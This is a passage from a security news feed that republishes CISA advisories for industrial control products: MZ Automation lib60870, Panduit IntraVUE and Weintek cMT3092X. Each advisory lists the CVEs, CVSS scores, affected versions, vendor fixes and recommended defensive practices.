<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[MZ Automation lib60870]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.
The following versions of MZ Automation lib60870 are affected:

lib60870]]></description>
<link>https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-07.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.</strong></p>
<p>The following versions of MZ Automation lib60870 are affected:</p>
<ul>
<li>lib60870 &lt;=2.4.0</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.2</td>
<td>MZ Automation</td>
<td>MZ Automation lib60870</td>
<td>Out-of-bounds Read</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Energy, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-16002</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to an Out-of-bounds read, which may allow an attacker to crash the parsing process and cause a denial of service.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-16002">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation lib60870</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation lib60870: &lt;=2.4.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ automation recommends users update to version 2.4.1 or later. Documentation can be found at https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv.<br><a href="https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv">https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Lars Tray reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this (these) vulnerability(ies).</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Panduit IntraVUE]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.
The following versions of Panduit IntraVUE are a...]]></description>
<link>https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.</strong></p>
<p>The following versions of Panduit IntraVUE are affected:</p>
<ul>
<li>IntraVUE &lt;=3.2.1a14 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 10</td>
<td>Pronetiqs</td>
<td>Panduit IntraVUE</td>
<td>Plaintext Storage of a Password, Unintended Proxy or Intermediary ('Confused Deputy'), Exposure of Sensitive System Information to an Unauthorized Control Sphere, Inadequate Encryption Strength</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Information Technology, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Netherlands</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-40430</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE Versions 3.2.1a14 and prior have a plaintext storage of a password vulnerability that could expose cleartext credentials through the API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-40430">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-42933</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an unintended proxy or intermediary vulnerability which could allow an attacker to use an active proxy, which would bypass OT segmentation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-42933">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/441.html">CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-44955</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could allow for asset discovery by unauthenticated users.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-44955">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50044</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an inadequate encryption strength vulnerability which could allow an attacker to steal admin credentials via weak hash or a pass-the-hash attack.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50044">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/326.html">CWE-326 Inadequate Encryption Strength</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28698</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could expose the underlying host/share filesystem.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28698">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Phlebas of Lumintel reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Weintek cMT3092X]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.
The following versions of Weintek cMT3092X are affected:

cMT3092X firmware]]></description>
<link>https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689937/it-security-nachrichten/weintek-cmt3092x/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:14 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-03.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow a non-privileged user to escalate privileges or view the credentials of other users.</strong></p>
<p>The following versions of Weintek cMT3092X are affected:</p>
<ul>
<li>cMT3092X firmware &lt;20210218 </li>
<li>EasyWeb &lt;v2.1.20</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.8</td>
<td>Weintek</td>
<td>Weintek cMT3092X</td>
<td>Reliance on Cookies without Validation and Integrity Checking in a Security Decision, Incorrect Permission Assignment for Critical Resource, Plaintext Storage of a Password, Incorrect User Management</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Taiwan</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-60134</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify cookies to gain elevated privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-60134">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Weintek recommends users apply the patch package named cmt_typeB_20260316_007.patch, which contains a newer EasyWeb 2.3.17-typeb. This fix will be delivered as a patch-only update; no separate standard firmware release is planned. Users may request the patch directly from Weintek support (https://www.weintek.com/globalw/Support/Knowledge.aspx) or from distributors.<br><a href="https://www.weintek.com/globalw/Support/Knowledge.aspx">https://www.weintek.com/globalw/Support/Knowledge.aspx</a></p>
<p><strong>Mitigation</strong><br>Weintek has published a document with more details about this issue at https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf.<br><a href="https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf">https://dl.weintek.com/public/Document/TEC/TEC25003E_cMT_EasyWeb_V2_Security_Issues.pdf</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/784.html">CWE-784 Reliance on Cookies without Validation and Integrity Checking in a Security Decision</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-61892</a></h3>
<div class="csaf-accordion-content">
<p>Weintek cMT3092X HMI allows a non-privileged user to modify tokens to escalate privileges.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-61892">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Weintek cMT3092X</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Weintek</div>
<div class="ics-version"><strong>Product Version:</strong><br>Weintek cMT3092X firmware: &lt;20210218, Weintek EasyWeb: &lt;v2.1.20</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
